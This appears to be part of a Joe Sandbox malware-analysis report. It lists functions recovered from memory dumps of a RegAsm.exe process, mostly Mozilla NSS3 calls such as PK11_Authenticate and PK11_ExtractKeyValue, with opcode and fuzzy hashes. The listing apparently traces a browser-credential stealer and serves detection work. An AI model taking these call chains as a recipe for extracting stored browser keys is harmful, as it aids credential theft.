Part of subcall function 6C4ACAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C48B1EE,D958E836,?,6C4C51C5), ref: 6C4ACAFA
Part of subcall function 6C4ACAA0: PR_UnloadLibrary.NSS3(?,6C4C51C5), ref: 6C4ACB09

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: f8af8b630480478ab4795cd923f725d46745801f6451f2a17d0cfa5d1db36d3e
Instruction ID: 396b8cf57add264c9a9081806c4f63f902e6c81405d5ef31cd9b7d91a5b637f3
Opcode Fuzzy Hash: f8af8b630480478ab4795cd923f725d46745801f6451f2a17d0cfa5d1db36d3e
Instruction Fuzzy Hash: 593138B8A04A018FDB00EF78C584E69B7F0FB05359F02162DD99997B10E734E895CBC6

Function 6C4DCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C4DCD93,?), ref: 6C4DCEEE

Part of subcall function 6C4D14C0: TlsGetValue.KERNEL32 ref: 6C4D14E0
Part of subcall function 6C4D14C0: EnterCriticalSection.KERNEL32 ref: 6C4D14F5
Part of subcall function 6C4D14C0: PR_Unlock.NSS3 ref: 6C4D150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C4DCD93,?), ref: 6C4DCEFC

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C4DCD93,?), ref: 6C4DCF0B

Part of subcall function 6C4D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4D08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C4DCD93,?), ref: 6C4DCF1D

Part of subcall function 6C4CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C4C8D2D,?,00000000,?), ref: 6C4CFB85
Part of subcall function 6C4CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C4CFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C4DCD93,?), ref: 6C4DCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C4DCD93,?), ref: 6C4DCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C4DCD93,?,?,?,?,?,?,?,?,?,?,?,6C4DCD93,?), ref: 6C4DCF78

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: a9b4ad21d98da494e41a0d4d2ea41cddc45b89b5bfbeb302f5d4d6e56ea57f08
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 5F11A8A5F0120457E700FAA66C61FABB6EC9F5455EF05413DEC09D7B81FB60E90886F2

Function 6C488C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C488C1B
EnterCriticalSection.KERNEL32 ref: 6C488C34
PL_ArenaAllocate.NSS3 ref: 6C488C65
PR_Unlock.NSS3 ref: 6C488C9C
PR_Unlock.NSS3 ref: 6C488CB6

Part of subcall function 6C51DD70: TlsGetValue.KERNEL32 ref: 6C51DD8C
Part of subcall function 6C51DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C51DDB4

Strings

KRAM, xrefs: 6C488C8F

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 2c1f0860af7e08271702e924886164c6efd6674387086cd506fe30ed26fa3fbf
Instruction ID: da645e242d98a676da10d98a19870e2aa53b5aab6d62a87e2a5bd8d1a81003b7
Opcode Fuzzy Hash: 2c1f0860af7e08271702e924886164c6efd6674387086cd506fe30ed26fa3fbf
Instruction Fuzzy Hash: F0216DB1A06A018FD700EF78C484D59BBF4BF45308B06896ED8888B705DB31E886CBC1

Function 6C51A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6C51A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C51A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6C51A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6C51A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6C51A5C8

Part of subcall function 6C4BADC0: TlsGetValue.KERNEL32(?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE10
Part of subcall function 6C4BADC0: EnterCriticalSection.KERNEL32(?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE24
Part of subcall function 6C4BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C49D079,00000000,00000001), ref: 6C4BAE5A
Part of subcall function 6C4BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE6F
Part of subcall function 6C4BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAE7F
Part of subcall function 6C4BADC0: TlsGetValue.KERNEL32(?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEB1
Part of subcall function 6C4BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C49CDBB,?,6C49D079,00000000,00000001), ref: 6C4BAEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6C51A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6C51A5E8

Strings

*@, xrefs: 6C51A589

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: 9527226fc8cc41e964b32a46265dd28db505f1de26f7dcd892d5242b4638955c
Instruction ID: ab50905ae9ae77f25db7a7cac74bdd4a499c4bedf42f2e208bb86d9a430a9a56
Opcode Fuzzy Hash: 9527226fc8cc41e964b32a46265dd28db505f1de26f7dcd892d5242b4638955c
Instruction Fuzzy Hash: B421F3B5C082049BDB019F299C0569FBBB4AFC832CF02422CEC5833B41F775A6488BD2

Function 6C582C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C582CA0
PR_ExitMonitor.NSS3 ref: 6C582CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C582CD1
strdup.MOZGLUE(?), ref: 6C582CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C582D27

Strings

Loaded library %s (static lib), xrefs: 6C582D22

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 461ea2ae8e86fadf9e162bbd41ad3737541e7776d45dd3381a69d2bf0cb5334f
Instruction ID: 0a84a587b5851ab96c2f52c43d97d4292994dcbc4a6e914fc18904ded6b7fd14
Opcode Fuzzy Hash: 461ea2ae8e86fadf9e162bbd41ad3737541e7776d45dd3381a69d2bf0cb5334f
Instruction Fuzzy Hash: 6C1190B1602320ABEB10CF15DC48A667BB4EB85319F15853DE809C7F41E731E809CBA9

Function 6C500570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C4EC89B,FFFFFE80,?,6C4EC89B), ref: 6C50058B
free.MOZGLUE(?,?,6C4EC89B), ref: 6C500592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C4EC89B), ref: 6C5005AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C4EC89B), ref: 6C5005C2
DeleteCriticalSection.KERNEL32(6C4EC89B,?,6C4EC89B), ref: 6C5005D8
free.MOZGLUE(?,?,6C4EC89B), ref: 6C5005DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6C4EC89B), ref: 6C5005FB

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: 5a1257efdcb14edbadebf68933109182d3bba11de2ca876cfca84bbdd22ff99c
Instruction ID: 11cbd88d5847ef63895bc4877139679e2ae1ab6acb7d9e895c7cab55d1a6589d
Opcode Fuzzy Hash: 5a1257efdcb14edbadebf68933109182d3bba11de2ca876cfca84bbdd22ff99c
Instruction Fuzzy Hash: 5B014CB1B097519BEE10EFA49C0EB4E7B789787319F410425E50696F41D365B608839F

Function 6C512E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C513046

Part of subcall function 6C4FEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4FEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C4E7FFB), ref: 6C51312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C513154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C512E8B

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

Part of subcall function 6C4FF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C4E9BFF,?,00000000,00000000), ref: 6C4FF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C4E7FFA), ref: 6C512EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C51317B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d1b755c599a2000ef2dcd903d391b4e963ee6d873b1f720c8ba0e42a46adff1d
Instruction ID: 91b54a429861581a86dc08948bef0b1e1e0f7f341b10f581897410e47bb54534
Opcode Fuzzy Hash: d1b755c599a2000ef2dcd903d391b4e963ee6d873b1f720c8ba0e42a46adff1d
Instruction Fuzzy Hash: D1A1CD71A042189FEB24CF54CC85FEAB7B5EF49308F048199E94967B41E731AD85CF91

Function 6C4DED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C4DED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C4DEDCE

Part of subcall function 6C4D0BE0: malloc.MOZGLUE(6C4C8D2D,?,00000000,?), ref: 6C4D0BF8
Part of subcall function 6C4D0BE0: TlsGetValue.KERNEL32(6C4C8D2D,?,00000000,?), ref: 6C4D0C15

free.MOZGLUE(00000000,?,?,?,?,6C4DB04F), ref: 6C4DEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C4DEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C4DEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C4DEEFB

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: d0f05117d560ebc0d0808c02d4f1b4d350f85c3ea38f08e77777e9d2624dd252
Instruction ID: 38a578178581b246e55e8bfe7458f91c19bc4e0a70a125b44e253f5859eaf33e
Opcode Fuzzy Hash: d0f05117d560ebc0d0808c02d4f1b4d350f85c3ea38f08e77777e9d2624dd252
Instruction Fuzzy Hash: 0B816C71A012069FEB10EF55C8A4F6AB7F5AF48309F15442CE8159B751DB31F805CBE1

Function 6C4DCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C4DDAE2,?), ref: 6C4DC6C2

PR_Now.NSS3 ref: 6C4DCD35

Part of subcall function 6C539DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DC6
Part of subcall function 6C539DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DD1
Part of subcall function 6C539DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C539DED

Part of subcall function 6C4C6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C471C6F,00000000,00000004,?,?), ref: 6C4C6C3F

PR_GetCurrentThread.NSS3 ref: 6C4DCD54

Part of subcall function 6C539BF0: TlsGetValue.KERNEL32(?,?,?,6C580A75), ref: 6C539C07

Part of subcall function 6C4C7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C471CCC,00000000,00000000,?,?), ref: 6C4C729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C4DCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C4DCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C4DCE2C

Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D10F3
Part of subcall function 6C4D10C0: EnterCriticalSection.KERNEL32(?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D110C
Part of subcall function 6C4D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1141
Part of subcall function 6C4D10C0: PR_Unlock.NSS3(?,?,?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D1182
Part of subcall function 6C4D10C0: TlsGetValue.KERNEL32(?,6C478802,00000000,00000008,?,6C46EF74,00000000), ref: 6C4D119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C4DCE40

Part of subcall function 6C4D14C0: TlsGetValue.KERNEL32 ref: 6C4D14E0
Part of subcall function 6C4D14C0: EnterCriticalSection.KERNEL32 ref: 6C4D14F5
Part of subcall function 6C4D14C0: PR_Unlock.NSS3 ref: 6C4D150D

Part of subcall function 6C4DCEE0: PORT_ArenaMark_Util.NSS3(?,6C4DCD93,?), ref: 6C4DCEEE
Part of subcall function 6C4DCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C4DCD93,?), ref: 6C4DCEFC
Part of subcall function 6C4DCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C4DCD93,?), ref: 6C4DCF0B
Part of subcall function 6C4DCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C4DCD93,?), ref: 6C4DCF1D

Part of subcall function 6C4DCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C4DCD93,?), ref: 6C4DCF47
Part of subcall function 6C4DCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C4DCD93,?), ref: 6C4DCF67
Part of subcall function 6C4DCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C4DCD93,?,?,?,?,?,?,?,?,?,?,?,6C4DCD93,?), ref: 6C4DCF78

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 9f32c7fa0e6edeeb942aa640586f9485bb9bbffcbf048f9759fa5f98a29733bd
Instruction ID: 9538587150d1a1a6fdc86a3a27b3554f0732d2339f25fd19e859184d3eae6515
Opcode Fuzzy Hash: 9f32c7fa0e6edeeb942aa640586f9485bb9bbffcbf048f9759fa5f98a29733bd
Instruction Fuzzy Hash: 1551A1B6A001119BEB10FF69DC50FAA73F5AF48359F260528D84997740EB31F905CBD1

Function 6C4AEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C4AEF38

Part of subcall function 6C499520: PK11_IsLoggedIn.NSS3(00000000,?,6C4C379E,?,00000001,?), ref: 6C499542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C4AEF53

Part of subcall function 6C4B4C20: TlsGetValue.KERNEL32 ref: 6C4B4C4C
Part of subcall function 6C4B4C20: EnterCriticalSection.KERNEL32(?), ref: 6C4B4C60
Part of subcall function 6C4B4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4CA1
Part of subcall function 6C4B4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C4B4CBE
Part of subcall function 6C4B4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4CD2
Part of subcall function 6C4B4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4B4D3A

PR_GetCurrentThread.NSS3 ref: 6C4AEF9E

Part of subcall function 6C539BF0: TlsGetValue.KERNEL32(?,?,?,6C580A75), ref: 6C539C07

free.MOZGLUE(00000000), ref: 6C4AEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C4AF016
free.MOZGLUE(00000000), ref: 6C4AF022

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 735339babbfed64299df6b602b2fac162ac90e3c3ac5681aa6bec873395f73b2
Instruction ID: 771c71377bd5c236ad001a0f2338ee9dbe3b3de0b14c86f21d76ec03eb7cfc8d
Opcode Fuzzy Hash: 735339babbfed64299df6b602b2fac162ac90e3c3ac5681aa6bec873395f73b2
Instruction Fuzzy Hash: 43417171E01109ABEF01CFE9DC85FEE7BB5EB58358F004029F914A6750E77299168BA1

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,014FACF8,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
